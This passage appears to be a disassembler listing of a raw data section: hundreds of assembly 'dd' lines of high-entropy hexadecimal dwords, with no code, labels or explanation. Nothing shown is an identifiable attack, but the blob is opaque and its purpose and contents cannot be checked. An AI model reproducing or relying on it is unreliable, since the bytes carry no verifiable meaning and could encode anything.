		dd 0F8F3A4h, 52F2A3CBh,	0DF64DECDh, 808084B1h, 0AB79232Ch
		dd 0E722032Eh, 0FE4C3AB6h, 0BB7A2117h, 28B104D8h, 27C1CCEh
		dd 5AF5F070h, 34C6C56Ah, 63095C12h, 62327080h, 6E7B1CB0h
		dd 0AA8E023Ah, 0A840979Bh, 8400160Dh, 0ED249A2Dh, 1392D8B6h
		dd 88CB3EBCh, 561FB238h, 2D815BC2h, 3EB92FB5h, 3B00B862h
		dd 0A70B8E3Ch, 4C0F6324h, 0E9BC826Ch, 0F1B069B3h, 7E381F8h
		dd 0CFAC61B9h, 83053510h, 0C1162FC4h, 8820C46Ah, 448FF5h
		dd 1481483h, 5D380A37h,	733CE202h, 0C6666E26h, 58627730h
		dd 0CF2674EEh, 92F42CF8h, 3CF02014h, 110053F7h,	1B15F673h
		dd 989F2FBh, 948154CEh,	4214AC04h, 981A3BFAh, 0D424E1F0h
		dd 32106468h, 1ACA8F68h, 4FCF1F9h, 0C03CC7ECh, 8237770Dh
		dd 0D2EB1FE2h, 0DC00CCC4h
		dd 990FECB0h, 19A39121h, 11EF4733h, 0FC74601Fh,	0BB3F358h
		dd 0E8AB677Eh, 0F0DC9258h, 0D5BB24B1h, 2471F34h, 0A668B81Dh
		dd 0A180C4F1h, 3B1A4180h, 0AF2B0584h, 0CC67A66Eh, 18761658h
		dd 0C03FD500h, 0FFE8D198h, 3161079Eh, 0E07A399Ch, 91D2CDC6h
		dd 0DA80B371h, 0E965623Eh, 2E0CA36h, 82076273h,	0FA24E08Bh
		dd 0EEF89FF0h, 0A2C0C1B1h, 222AE1A9h, 59420118h, 0A443D4DFh
		dd 12CCB2F0h, 90EFACB1h, 45627F78h, 4D44A4A4h, 5E230059h
		dd 2A29382Dh, 43010BC7h, 0E24E6B94h, 0D85795F7h, 65693018h
		dd 5805989Bh, 0B2E967EFh, 0C602D0E2h, 0CA21B00Eh, 693915E0h
		dd 0F6264C02h, 8006CFECh, 0D1E07D20h, 2C18456Ah, 89250094h
		dd 192AF407h, 0DD28C0FAh, 2D1BA311h, 2B9AAF13h,	0F291E0D0h
		dd 31E03D75h, 8600213Eh, 9A79CC7Ch, 0B139DC0Dh,	62D20068h
		dd 1E3C6D18h, 22DD4A87h, 0AA197E6Ch, 0A5338404h, 92D10794h
		dd 0E20DE5h, 17117404h,	0B6C4C8D7h, 0BC0004B2h,	7B2D3E0Ah
		dd 8900CA48h, 1294DC16h, 13B6AAF0h, 0C9874CF4h,	69A81150h
		dd 3EAB012Ah, 0A0452C43h, 9CA74912h, 2DD86A84h,	8164811h
		dd 837404D8h, 0E5DE9A6Dh, 0E7146008h, 4F404C9Eh, 27268B2h
		dd 3EFEB120h, 210D07BCh, 0EE005028h, 0BE2640F6h, 1B70A49Eh
		dd 35FA9209h, 0D3C5014h, 0BC86B695h, 4CF42361h,	82610E8Dh
		dd 0D3AB60ECh, 2F34B9h,	6EA622D2h, 0B4092337h, 0BDAC5000h
		dd 16C711E7h, 0D0B600A8h, 0F07966E9h, 0F7B0DAA1h, 1AE662EAh
		dd 4ADB6032h, 0F78898B5h, 845C0B40h, 84C15129h,	1E818066h
		dd 0D1EBFFB5h, 0FA2AF85Ah, 551803A4h, 2EA03BD5h, 66823103h
		dd 29C3435h, 7BD280F1h,	8CC41869h, 6D903CA3h, 0DB016216h
		dd 52FA3E23h, 6985BE78h, 0C0DD4195h, 1444CD48h,	0F836F401h
		dd 7D62051h, 64C01FF1h,	281CE8C4h, 5FF8A157h, 0EE0028D3h
		dd 0E9019200h, 63981002h, 9B7062h, 663EC314h, 6D5C0448h
		dd 0B73FAB14h, 89E780E0h, 612BD69Ah, 6888786Eh,	181510CBh
		dd 9A8A0F1h, 0A57A1Ah, 806D0EA1h, 30063CEDh, 8B83200h
		dd 0F9632ADAh, 74A60EC7h, 6E672B53h, 84A8A417h,	0C338887Ch
		dd 9ACF9500h, 2462672Dh, 0D91100D8h, 0FDCA37CCh, 0E301A0ECh
		dd 97F4E7C7h, 0C0386A1Bh, 1963CA80h, 50C8A1A3h,	8F788E50h
		dd 0B2E858A3h, 47246688h, 8B166C00h, 80CFDC32h,	481B5FE3h
		dd 0B6964F98h, 8079B808h, 92FFCFE4h, 21C498A4h,	988C28ABh
		dd 23D60008h, 0FF1144F0h, 0A213C3A0h, 1C00926Dh, 0E4CBD78Bh
		dd 0B4BF256Fh, 0E42CD8C9h, 5700F33Fh, 0FD9C251Ch, 0E6970C99h
		dd 0DB2D0026h, 0EFDE1738h, 0C9D43CABh, 61DC0AF0h, 5C03082Ch
		dd 0A4836C0Dh, 0ABC59020h, 4944BB01h, 0CA697484h, 0A202D423h
		dd 3D6A28A4h, 0AFC48440h, 0E0FD4F1Eh, 0C46EBE4Bh, 15DC0088h
		dd 1AA0A155h, 2100DB17h, 994520E1h, 0B443007h, 3727AA94h
		dd 43CD30A1h, 0F51871B8h, 0CFA47C08h, 75011C65h, 14AB1031h
		dd 0BD09A822h, 28820CDCh, 54049BD9h, 980074F2h,	1E761757h
		dd 0ECB3EC58h, 81007D91h, 0D1CDC4C7h, 90E29F2Ch, 94920304h
		dd 8905EAFh, 124449E2h,	88CEC269h, 0BE0F21F8h, 0B34054h
		dd 0F7DE1EC1h, 0A7203C73h, 0B83FAC05h, 2A508855h, 0AEB74484h
		dd 22B3420Eh, 8EC62074h, 0B050E4h, 0BE36FBFFh, 9E8D802Eh
		dd 0EA4F618h, 0FCBC80h,	0E9788B23h, 0DA4ED350h,	2029AB25h
		dd 0DB7EBD68h, 0FB4C37FCh, 52B1C0A1h, 1D30691Fh, 1AF58134h
		dd 0B5AC0081h, 6F0FCA2h, 44265D6Eh, 822CBCF4h, 0EC243024h
		dd 9040149h, 0D9D356EBh, 9420BCF0h, 706D434Eh, 846EA200h
		dd 21E97D5Ch, 80A4B62Ah, 0B324550Eh, 471D3B75h,	9E42F199h
		dd 0E6B1311Fh, 8AF25C78h, 94194100h, 5D9923D8h,	25F9BE00h
		dd 4AD2A73Dh, 3154B326h, 25A91EE8h, 0FAB12044h,	323AE374h
		dd 922C800Ch, 7E93F2Ah,	3CAC0C55h, 32A8FD3Dh, 6CE24528h
		dd 8833CE4Ah, 0D281C010h, 92200923h, 0F8103EF0h, 1F004E07h
		dd 0B042A14Fh, 520E661h, 16181959h, 6890B009h, 0DBAF88h
		dd 0BA5C62D4h, 74E055Ah, 0B9005B79h, 0D61386B0h, 0B07FA112h
		dd 5E2C002Eh, 0CAF793E6h, 0D4006E92h, 4FFD031Eh, 0C0A8C094h
		dd 95A57A10h, 7709464Ch, 155DE70h, 0B2D1048h, 2E20EADDh
		dd 61A70741h, 0F019C7B5h, 0B03E65E0h, 6C90976Fh, 6CE1A8h
		dd 73A7A518h, 0D1AAAEC5h, 0CEDEDD00h, 0FDC2EAADh, 27A00CB8h
		dd 9040956Bh, 7C33DA89h, 0D1C40600h, 0F11EA76Dh, 0BE8B8F0Ah
		dd 596094DAh, 1AD044h, 5686F5F7h, 3E784832h, 648018B4h
		dd 50717EC2h, 0DDF61242h, 3ADC1421h, 307CA101h,	30C34423h
		dd 39003E70h, 0AB4EA855h, 764CEB16h, 32CC0012h,	71BE1D57h
		dd 0F051936h, 15C276F0h, 0B091E0CDh, 2C1E7379h,	32006010h
		dd 7F351DE9h, 3EA3002Eh, 0A2DD114Ch, 7324DC83h,	5C402CD6h
		dd 4D01CF0Ch, 0D06B105Bh, 90EC34C2h, 4B3AFD73h,	0CD0D1CE1h
		dd 0B5E25780h, 801D2C9Ch, 0D896D1B6h, 0C51900BBh, 75AA24FDh
		dd 0F5C30606h, 20F8FB2Ah, 4B64DD4Ch, 0C859C4D7h, 30629E4h
		dd 0D25668FAh, 1890CAEEh, 0E303346Bh, 0E7E2503Ch, 527AEA66h
		dd 84909734h, 0A9003C09h, 68EAD3D8h, 3BA5BCh, 0FFE8B5CEh
		dd 2817D6F8h, 4082FE00h, 0DFB844BEh, 601448A8h,	6442C09Fh
		dd 0C8A530C3h, 0F4C5D603h, 0ABAA6032h, 76BBF08Eh, 78AC00B2h
		dd 7BABA9B8h, 0C100829Dh, 0F5C758Dh, 1C03F1Bh, 1FA5E1C2h
		dd 4C9C30BBh, 0E726779Ch, 891DBF2Dh, 0D8EB2381h, 202EF562h
		dd 9B80FD7Ch, 20935F09h, 0D110008Ah, 91624C83h,	0CD698744h
		dd 709451F5h, 17E07E8Ch, 0FD012D54h, 7D80B013h,	0E81FFFF8h
		dd 3340377Ah, 3DE3818Dh, 0B6E10138h, 0CDD52E55h, 7A783201h
		dd 140BCF1Ch, 7A28C467h, 7B1B173Ah, 25F01C0Fh, 0FBB1B44Bh
		dd 0AC2CE1h, 0A2892B4Dh, 9801803Ch, 0B5E920B4h,	0A3A5EC12h
		dd 0DB38A459h, 8179861h, 70A27564h, 4C236905h, 0B0CB86h
		dd 17D003AFh, 4A8C8h, 6C5387E0h, 59ECB5D4h, 585F4D32h
		dd 0F1A710E3h, 0C98C7E49h, 5258B90Eh, 0DC8C9D10h, 5AC7F700h
		dd 1EFC6608h, 0FE916D2h, 185C4991h, 2A131479h, 805448D3h
		dd 23223Bh, 0CAC4E0F3h,	0F8F68AAh, 89BDBE03h, 0A49438EBh
		dd 68E5DEC4h, 0E490082Fh, 0D32005A5h, 4E66548Ch, 129852DFh
		dd 1D5C902Ch, 9D008FEDh, 0B161BAFAh, 0F979D314h, 84CCC63h
		dd 5F0F1108h, 49639C0Ch, 0EDC10099h, 3E8046DCh,	4700880Ch
		dd 0B40873C3h, 30291809h, 9798B664h, 32021EE6h,	92CC7467h
		dd 0F8D82Bh, 6A9FB020h,	7E2C6C44h, 5386CE01h, 14E36772h
		dd 580ADAD0h, 0D903CCE2h, 0BD30AC32h, 0E6B742E0h, 7F266300h
		dd 0FCBF22DEh, 50A40B57h, 44C01AD4h, 0E7F604FFh, 3E72B100h
		dd 0A1C8FB38h, 43DB13DAh, 0D2F4008Ah, 0A3D1D85Ch, 0B444F090h
		dd 3038004Bh, 0E5AA79F4h, 680045F7h, 718A2719h,	0B0C6BF41h
		dd 40B04A3Dh, 0D00F570Ch, 1DECE939h, 0F34A5801h, 3D4F820Eh
		dd 1EF62C0h, 0E77EA8B9h, 3F7FF628h, 54EB9860h, 3ACB0BF3h
		dd 0E466CF66h, 47F51017h, 24D22490h, 0BBBE240Ah, 71B40758h
		dd 7DAE804Ah, 7EF8FD91h, 5F38071Fh, 8FAA2700h, 3366B655h
		dd 0E4690536h, 7D654CF8h, 93A1DB00h, 6349A2D4h,	15AB2EDCh
		dd 0EF8D43F4h, 61920BD8h, 0B4D63917h, 646CD8h, 34A19933h
		dd 0FD62DEB7h, 1C8DB604h, 80AC7681h, 0B8CA6784h, 0E723A1F8h
		dd 1E5228FCh, 0A915E0h
		dd 4E3C6414h, 5A2ECA24h, 2A40389Dh, 90637817h, 0C4410710h
		dd 4A7E5B79h, 4F50010h,	0B84B10Dh, 3EAB640Bh, 92D0B0B4h
		dd 0BC4204A2h, 0F0FF91D2h, 0BF060E90h, 6F86B6ABh, 61A09691h
		dd 39892848h, 0B94059Ch, 68DC4AFDh, 88D15AABh, 8E49EDACh
		dd 739B0FDCh, 1492172h,	983D5436h, 27EA1D10h, 0EBD4E09Bh
		dd 788A0183h, 35927906h, 33A068EEh, 88A3E019h, 0E76A62h
		dd 7360578Eh, 420C84BDh, 0B244A67Ah, 0C5FC0B45h, 0C0608C38h
		dd 62887C35h, 0A88B589Bh, 3829C52Dh, 0C02054E1h, 2DF63602h
		dd 69DF8813h, 0A1FD0C04h, 9CB645h, 0ABECE16Ch, 6D04C0C1h
		dd 0C17C32Ah, 86C88F4h,	2487153Ch, 0D4078849h, 0E441C031h
		dd 279082Dh, 0FA1ED525h, 0D05C3B90h, 9F193701h,	0A8484333h
		dd 0BBFF2211h, 0C2153E05h, 3CC04722h, 99BA338Ah, 0B26701B8h
		dd 2B5A87BBh, 9D12240Eh, 4D1FFE93h, 50B3A456h, 3903DB38h
		dd 98B8B1BDh, 17D4CBECh, 0F4C8677Fh, 0C57E2FBFh, 0B6D6ECA0h
		dd 0F5194068h, 21F8450Eh, 78B0D2FAh, 9C4A4ABh, 3F69A29Fh
		dd 0A9C4EC06h, 9200F7F8h, 0B842366Ch, 0B071F5F9h, 407C9C7Ch
		dd 1DBAA0DDh, 60724500h, 0C53886B2h, 401FE36h, 4E840CC3h
		dd 3F58E8DDh, 182F17E7h, 0A7CF4401h, 482712D2h,	0D61EFA04h
		dd 1E3CE9B0h, 0E340F689h, 6A3DE10Ah, 64BCB675h,	4A74D749h
		dd 50578148h, 0C43C5EDCh, 0E9002909h, 0A0BBE470h, 9448630h
		dd 401038ABh, 0D71E48D2h, 28D3C9C6h, 9ED7088h, 16F0CD70h
		dd 3099144Eh, 0FD1309BCh, 82450011h, 5DD0F9Eh, 1ED68342h
		dd 394C8138h, 0F110851h, 0E7FD8492h, 0F2F0535Dh, 5A11FA8h
		dd 48F2FC40h, 72D30777h, 76DD0068h, 1FFFB9ADh, 9D003BC5h
		dd 7241623Fh, 337594h, 1A92F535h, 56FE68A9h, 1E2BED0Eh
		dd 0DAB5A0CBh, 0B8E14DFDh, 5C173951h, 2BABEB09h, 0B1DD2898h
		dd 4A7E1512h, 19820805h, 2A880CB2h, 2716309h, 7C29A684h
		dd 0CA6A41C4h, 90C1A50Ch, 3FA456D8h, 0E03CDE9h,	296A025Ah
		dd 21A36600h, 0E224868Bh, 385F003Fh, 0DE99E6A0h, 663C9107h
		dd 3C5E4B3Bh, 0CD6101E2h, 381377BCh, 3E003180h,	0C1290842h
		dd 0FDB6017Dh, 22F823B2h, 757700B7h, 0F718C8A7h, 0A8007844h
		dd 336F3B7Dh, 27D0BFE7h, 0B4820BA1h, 0D2101686h, 6121C43Fh
		dd 29C62273h, 1500B4E4h, 6EAD87B6h, 3505C48h, 31D62B13h
		dd 458039D4h, 0A8CBD794h, 4AC0723Ch, 9010D314h,	0BE5AFAA8h
		dd 3B4AB800h, 0C029E6B1h, 1EC490BCh, 0C04EB65Fh, 1466BDCAh
		dd 91071813h, 0BBE22148h, 0FD077480h, 45C00F28h, 0E88FD3F5h
		dd 11CC42B3h, 3C7E5F67h, 0B6BC36C1h, 70C4A1F8h,	0BF073C25h
		dd 1C7982FBh, 0C5604180h, 1F7DB6E0h, 544BD20h, 0C3DFF4F7h
		dd 0E781D181h, 1523D467h, 7F5C8CA0h, 71C26230h,	0D6813266h
		dd 843830E1h, 0F303F679h, 239C854Bh, 0DB82F8FAh, 8D3300A7h
		dd 0BD86A65h, 0EC251DCDh, 1CBC4959h, 40B214h, 53F957A2h
		dd 7EF7E8Ah, 0DA5B733h,	0AD5F003Ah, 84271D22h, 3EE8606Ah
		dd 8418ACCh, 0F46464AEh, 0E0749395h, 1EB16B25h,	1AAD848h
		dd 0F6CB0CA1h, 5C5C40B4h, 0E800984Eh, 642D356Bh, 0A5DDCAh
		dd 0EFB216ACh, 639049ADh, 28BFDB09h, 0B98C40D6h, 411B60F9h
		dd 370629FAh, 2C14B25Eh, 0E96F2D58h, 312E7E3Ch,	29F84CC8h
		dd 0EE5E7C6Ch, 62163402h, 177711A6h, 7CF49D64h,	0A6B5488Fh
		dd 0AF840901h, 6DC226EBh, 0C1063BC4h, 79807C28h, 2944EDBAh
		dd 18EAFC00h, 39F8CBB8h, 904851DEh, 4014276Fh, 6849D8D5h
		dd 52105507h, 22E0B613h, 1DB3D1AEh, 42CC5BFEh, 0E3F94D98h
		dd 458138E5h, 8BF01DCEh, 40CAE848h, 0E044B0F8h,	0BFE6038Eh
		dd 212CED71h, 8F02Fh, 0F9B694ACh, 0F4C08A13h, 0FA887BCAh
		dd 4BC01F2h, 0B54ADEBAh, 0E4C040DDh, 0BD402AA7h, 1C1CA85Fh
		dd 0D6A80094h, 28C5D845h, 69507D1Bh, 0B9004EC0h, 0B12EFD7Ch
		dd 7C0FF59Ch, 840289Bh,	0D3654484h, 0E0EE1A00h,	52D16681h
		dd 0A0F30F1Bh, 5A8187E9h, 203164E5h, 40E47F88h,	4C472284h
		dd 0BC542122h, 398338E4h, 0DCA7CE1Dh, 9C38B810h, 0D240A888h
		dd 12CFE73Dh, 4555CE28h, 0CBE3FC2Ch, 2B4505D4h,	0ECC8AA34h
		dd 0E4422C2Eh, 0D7AB4080h, 0FC009A10h, 0E554C5F6h, 2FCFF880h
		dd 0EC43D6B4h, 86247DD2h, 4821D130h, 5B28A14Dh,	84D05098h
		dd 9397CF04h, 14A23F2Ah, 4EED3C00h, 71863E01h, 59A10720h
		dd 9C2C94AFh, 0DEA7413Ch, 3E7BC863h, 0F0790D0Fh, 0FA0C69F9h
		dd 921C04A4h, 0C01F14B9h, 0A0AEF462h, 82AD74BCh, 83167ED8h
		dd 0BF9C4Ch, 427B5B59h,	1D23CE57h, 4828E649h, 4E1E2208h
		dd 0BECCC8DAh, 6700FF90h, 0DBF00712h, 1CD29201h, 0B270A41Dh
		dd 0E0983838h, 8103CC77h, 1C0746FCh, 5082C3E7h,	286D98F9h
		dd 21B0D81Fh, 8E11CA37h, 0D0481425h, 0B2E06E7Fh, 0A7DF9100h
		dd 3B72A040h, 50F004A1h, 81244145h, 0D5FD0F00h,	0A58C410Ah
		dd 8AC0452h, 0EB008474h, 11E7BF23h, 0BE34BA77h,	0A842408h
		dd 117CD38Eh, 28492426h, 2574D208h, 1C98D4E2h, 0A6394F76h
		dd 0D395C0E7h, 0A840D484h, 0F1208000h, 0C81586A2h, 5269DFE8h
		dd 0FE4804ECh, 8141E41Dh, 0F597ECFCh, 74203A1Ah, 25C2795Ch
		dd 41047F7h, 3B496D3Fh,	0A7FC1088h, 64EEA489h, 10A0BF0Bh
		dd 0E3A087A2h, 0DA83EBA5h, 41C7BA78h, 9841746Ch, 49015C1Dh
		dd 485ECE24h, 0D6C52344h, 570FECE3h, 0C7E0479Ah, 0DB6852A7h
		dd 660DF002h, 40DC3893h, 318D0CD8h, 0C7F0F4BDh,	896D08CBh
		dd 2743914h, 0D367B6A5h, 0DAB4828Ch, 0B4BC0207h, 4D026852h
		dd 0E4BDE04h, 25C8F2F4h, 2C31CEF0h, 0D4844162h,	0FB440898h
		dd 0CC414E02h, 0A1C8E484h, 38734900h, 3E5840BCh, 1D69262Ch
		dd 80B42BF4h, 2D5CCAC8h, 7C33A9FEh, 0D48BC8FCh,	0BD211322h
		dd 0D8CF46FDh, 20C50E9Ah, 644DCF2h, 0A618904Bh,	180C49F4h
		dd 0D1268475h, 466450E0h, 2FF89A42h, 7D8C38A2h,	35864400h
		dd 0A4B42C06h, 51F98870h, 4C14AB84h, 34206D5Dh,	97F5932h
		dd 1D188900h, 0D0D9ACC8h, 0AFA82021h, 2D666509h, 45C8115Ch
		dd 69CC082Fh, 5F44FCA8h, 0E2C1007Eh, 16E90A0Ch,	1701DBF7h
		dd 4BDCFE88h, 0DC604DD8h, 22964353h, 0FBB63891h, 0E7F1C8D5h
		dd 20195AFFh, 0D5B4FF80h, 190165EEh, 0FBC721B1h, 35204F2Eh
		dd 16DA7BEBh, 94ECFB2h,	5099AE90h, 10D426D8h, 0BC0451B6h
		dd 45ABC47Eh, 0F41D25D3h, 0B79D22A2h, 4F663B00h, 0FBB949F9h
		dd 1D2A0153h, 0D93F6525h, 0CCBCFFB1h, 2201F31Ch, 1C87A4BFh
		dd 0B078757Fh, 0B6063080h, 850111D4h, 92F5B89Ah, 0BFD0BC43h
		dd 0E1E600FCh, 15A850E2h, 18B5681Fh, 6563F8h, 2CF2F585h
		dd 0DDB6A903h, 0AF108CB0h, 9B847809h, 0F0B253B2h, 1F284930h
		dd 2084408Fh, 0EC48B537h, 0CB5F1058h, 0F8445B89h, 203F4A45h
		dd 0B7D7E25Ch, 0C19D4705h, 6492FA28h, 619848FDh, 42D4BC2Ch
		dd 0D8696EBFh, 0A43052AFh, 2EE2D511h, 29A830D2h, 2D0BDCCFh
		dd 9119AC9h, 0C4188180h, 3602A788h, 63656C80h, 430038EEh
		dd 0DD443E91h, 4AD1D780h, 54B25Fh, 7665A93Bh, 7FEB81BCh
		dd 611C4C30h, 53AA5E01h, 70B36C45h, 0BD00DA04h,	7914B6DCh
		dd 8ABFD7h, 0AC8A2A3h, 2B15192h, 7C2E3E16h, 2287B822h
		dd 6CFE2AF5h, 840BE783h, 6F43805Ah, 3F69EC13h, 0C5803921h
		dd 0D1FB6CA3h, 0B44C029Fh, 1866150h, 3C60DFA9h,	0A433E139h
		dd 43203B09h, 32866004h
		dd 18062BC7h, 0A09881BEh, 900E7C44h, 79462F6Ch,	5A0154CCh
		dd 0A0571134h, 0F462B284h, 14009CD0h, 0ED5B3C0Dh, 0FCA4B492h
		dd 4576E000h, 90197486h, 59EE0580h, 8BF0D39h, 5D640A88h
		dd 0F73950B4h, 20496211h, 0A6485010h, 6D2C78F4h, 0AA6EE880h
		dd 5F11E815h, 3FABDA0Bh, 0DC153471h, 9A1A21BCh,	5CF4217Dh
		dd 80A0E243h, 0C9A17Ch,	7B60665Dh, 7F9843E7h, 0F1A5B016h
		dd 0DEBE5802h, 14CC607h, 74D66418h, 0CCB291DCh,	3305C1C3h
		dd 297BA95Bh, 6C48B8CAh, 27CC91C0h, 0EC73EB1Dh,	0B7AA9206h
		dd 43A8047Fh, 4B472226h, 168820F5h, 86B0EA2Bh, 0CED69CC0h
		dd 4ED00F8Eh, 41C45EB0h, 0CB9B7D2h, 7C40E6D3h, 0A6406F78h
		dd 7F2E44CCh, 0A428C45Eh, 68A900E2h, 0AAA40560h, 0EC02F142h
		dd 0F5E88652h, 29D08210h, 448E635h, 0D2ABEB16h,	0F1D522BEh
		dd 0B2BF97FCh, 46A0048h, 5C0A7DADh, 48FA12F9h, 9EA0C141h
		dd 94C70C7Bh, 9502E18h,	9814768Ah, 127CEC48h, 0D0A86681h
		dd 0DAD4EF2Ch, 64007059h, 0C5FE228Eh, 32B1001Fh, 0CFBF05E9h
		dd 910F300Ch, 18E778Dh,	0D57E1D23h, 3D229822h, 2D80DA02h
		dd 41B79E45h, 0A5107938h, 9C13311Ah, 5C8CB116h,	0C9100764h
		dd 701CBD4Ah, 24F639FBh, 68C85850h, 48781141h, 2C0BE812h
		dd 4160B4A8h, 640F4311h, 1E5204B6h, 80CD9759h, 0F99FA133h
		dd 2E43F092h, 0DA2F2922h, 246470h, 3C696A42h, 627D5409h
		dd 0ED2A000h, 15A2C283h, 10B19Dh, 0F9E667C6h, 7107CC08h
		dd 41FDE7FCh, 0ACB84069h, 0D8B8CA6Eh, 408C5358h, 0ED5811FAh
		dd 0DCEF014Ah, 0D671AFF5h, 79EEFC60h, 82CE071Fh, 0D3E8B4A8h
		dd 0B5094484h, 16494563h, 1C47D835h, 2940A5Eh, 3DFC43CBh
		dd 4E133620h, 783106CFh, 0C04CF74Bh, 14380034h,	7918BD3Ah
		dd 8DFABA7Fh, 1DCD3B0Ah, 865F0D6h, 95DAE898h, 0E804988Bh
		dd 1E50E3E3h, 92899357h, 11801428h, 5F7839h, 0F3C3C6EDh
		dd 760A9F2h, 8FBCE09Bh,	359A3010h, 28395B70h, 117825BFh
		dd 0B6116AA0h, 50E4EA3Ah, 3510EAC0h, 62F28Bh, 0BDC40F6Bh
		dd 4C12B8AFh, 0DEEDB21Eh, 0BC45B0C1h, 6CAC062Ah, 0F5284184h
		dd 0C0203B7Dh, 0C4D8D5D7h, 0A02F9AE0h, 3F0F3614h, 8596A2C6h
		dd 77C01814h, 6B68F6h, 5CD02BEFh, 13C33AD3h, 341E117Eh
		dd 6DDC8E09h, 32661F45h, 4B7F5888h, 0C8D4561Ch,	1E060280h
		dd 0FC3DB8E9h, 227443F0h, 0E090950Ah, 0E7007FF0h, 0E33AFBE9h
		dd 0F59B9Eh, 0D5AF81B2h, 41A05A2Fh, 0C81DFE12h,	58C258C4h
		dd 803CD375h, 17B4E06Fh, 0A97BECCAh, 6C653D00h,	0E5E4516Eh
		dd 52C09C2Ah, 280114F2h, 5FC020BCh, 0B094C46Dh,	41B4D030h
		dd 0D7906E58h, 71ACC060h, 23153400h, 0C9FE9161h, 24C309C7h
		dd 9C4E852Fh, 0B7395E44h, 36E85020h, 0D2000843h, 6783D891h
		dd 2C5203Dh, 0CCB99901h, 4709628h, 0DD08BC4Ch, 0B98DDE03h
		dd 0A5AE8856h, 8A250099h, 0ED3FF6Fh, 432521C6h,	66B8E295h
		dd 15B52694h, 0F2FC1638h, 292E1DC8h, 190CF0F2h,	0CA545877h
		dd 45B1B400h, 0E13649DCh, 0D0E501B8h, 4F24CD69h, 5AE07448h
		dd 0C8864090h, 0C1C21F00h, 245B14A6h, 7EBF00F5h, 0E9EE1192h
		dd 3405284Dh, 0D34F9E7Fh, 5C541CC0h, 56940F7Ch,	70002BECh
		dd 0FC96F2BDh, 0AD6FF8FBh, 2D141000h, 3A878ABCh, 22F3137Fh
		dd 0BA800447h, 2B1722D3h, 0F7F44C64h, 647F3709h, 0D5AB01B2h
		dd 4C78C16Fh, 2C7AB711h, 0A2C05CFCh, 3ACE0A4h, 8AD1C6E6h
		dd 6AA0FDBEh, 6E4ED709h, 2F5C40Bh, 1171C250h, 84301585h
		dd 1121EF9h, 67EE253Eh,	2952D780h, 0D1D15B4h, 984131B0h
		dd 49026789h, 451E4E2h,	0BF01E42Ch, 2F1441D2h, 3914ACACh
		dd 131676A1h, 0B00078F7h, 64DC9A0h, 18032135h, 44677119h
		dd 0BC2AE138h, 98B8106Ah, 629C1D2Eh, 68D02ED6h,	2127EE22h
		dd 290A4AD2h, 906E98A1h, 0BCF01F80h, 0B700FF17h, 0BB2A73DDh
		dd 0B2F69126h, 21764350h, 0C5801E0Ah, 0A8CA697Eh, 8CD5C064h
		dd 0C4DDC6FCh, 7FFA88h,	3DF3D244h, 6312015Dh, 0FBB63443h
		dd 16C39B3h, 0C00D0728h, 47FCFC8Eh, 0A2C025Ah, 87F88199h
		dd 0BD10B319h, 0CAEB937Eh, 0A1385CC6h, 0E100785Fh, 77EDDD26h
		dd 2E04C128h, 5D16164h,	83377960h, 8B4C084h, 1E9611EDh
		dd 0DDC4C691h, 883FABh,	0BE90B04h, 3071B6D1h, 0DAF70D00h
		dd 79EEF4Fh, 98731B9Ah,	0BEA6049h, 354F880h, 718A9A58h
		dd 589C0160h, 606F2Dh, 95408042h, 500DC46h, 85983FD0h
		dd 0FDBB30h, 0CF5BDBDCh, 7E150701h, 0A774B1E2h,	4DA03F03h
		dd 0A8BF3420h, 0F8534BC0h, 22C6005Fh, 2D1AF659h, 9306B7D0h
		dd 715A7CAEh, 0C3EC3031h, 10543108h, 0CC421500h, 0A8DF6EFFh
		dd 0A3B201DBh, 6817CDF4h, 4A98F074h, 32372D7Bh,	36F4489Eh
		dd 86209A22h, 1125F21h,	60B6BEB9h, 0FDC478E4h, 121BAA1h
		dd 8455DC2Ch, 98BBF7E3h, 0E0F22C3h, 33CA1BC5h, 0C1D40E21h
		dd 68A9E35Fh, 7DB8D83Bh, 0A24778A8h, 98B4D118h,	7B3C061h
		dd 55F7FEADh, 0C3288C23h, 640DF8EDh, 0E4215E00h, 80C1817Bh
		dd 1C2015Bh, 2D37DA9Bh,	0A040838Bh, 5E3B597Ch, 59FC61h
		dd 0F0C154C0h, 489B305Ah, 0AD3028F3h, 1E384671h, 0C38A220Ah
		dd 97814C63h, 0A6B0D1ABh, 517D9D10h, 36213560h,	0CE21D31Ah
		dd 40915B71h, 4486E488h, 6B80D903h, 0D8298015h,	580B3E31h
		dd 0CDE84DA7h, 7FAD1E26h, 3B3343DCh, 7900F0EBh,	0E9C9A999h
		dd 7942B5Ch, 0AAEDCFB6h, 4BCDE0D0h, 7C14C180h, 90E4D755h
		dd 0DD32006Ch, 81824025h, 94DA535Bh, 55088921h,	7D9841CCh
		dd 5464435Ah, 2CD3B010h, 0ACB3D20Dh, 55F06F59h,	2828C132h
		dd 8148466Eh, 662D4E51h, 0DC507C49h, 9885Ah, 2598371Eh
		dd 92DD55F0h, 0C326BE00h, 5D34215Fh, 0B8E4A89Dh, 33CCA3EBh
		dd 0AD4111A0h, 7CFFF490h, 0FCC5D52h, 0A1A85480h, 0BD7312B0h
		dd 0DBE52761h, 0B2D59186h, 0C01EA9B3h, 0F50DC9AEh, 7CE0E069h
		dd 71E56560h, 1B8833C6h, 58CF717Eh, 0F11F110Eh,	0C000202Eh
		dd 0B0F1581h, 0FC8EC594h, 7C595564h, 1FC187F8h,	92886AADh
		dd 835C3053h, 3F04AE2Ah, 0B6802D05h, 843C0C88h,	9402331Fh
		dd 21D57500h, 0A46C2D36h, 9CFA0080h, 0B2F61ED8h, 0E418384Ah
		dd 0BEE8AE9Fh, 0D6498819h, 0E3014492h, 485D339Bh, 0E0413C17h
		dd 780220EBh, 53018844h, 927CFEB0h, 34C1CDF7h, 2936E18Dh
		dd 4B3E351h, 5821900h, 4C43C863h, 148C0075h, 411684CBh
		dd 670035CEh, 97A44D7Dh, 18E69CC7h, 0C4275575h,	0B60F0A78h
		dd 0E0D4561Eh, 0E1172CCCh, 3C27B816h, 0C900A088h, 55DE3B89h
		dd 0F1DD7349h, 1AB88Fh,	0CE7BCB35h, 0AEF71D0Ah,	821640E4h
		dd 54FD254Ah, 0E154CAFCh, 0B130D298h, 0C998B9CFh, 127D2863h
		dd 0F73209ECh, 0D826FCCAh, 202C097Bh, 0EB00CE89h, 432F2A58h
		dd 0ED490A72h, 51B0BD28h, 35C010CBh, 3092DDh, 72388530h
		dd 0D448C710h, 0F6F0BCABh, 94005FFBh, 7C38FADDh, 48C7D168h
		dd 0E60528AEh, 303EBA4Eh, 6E8E5AD4h, 0EEB59003h, 0EE023DC2h
		dd 0E237561h, 0B0FDE625h, 3EB3D723h, 26F1C822h,	400CECC0h
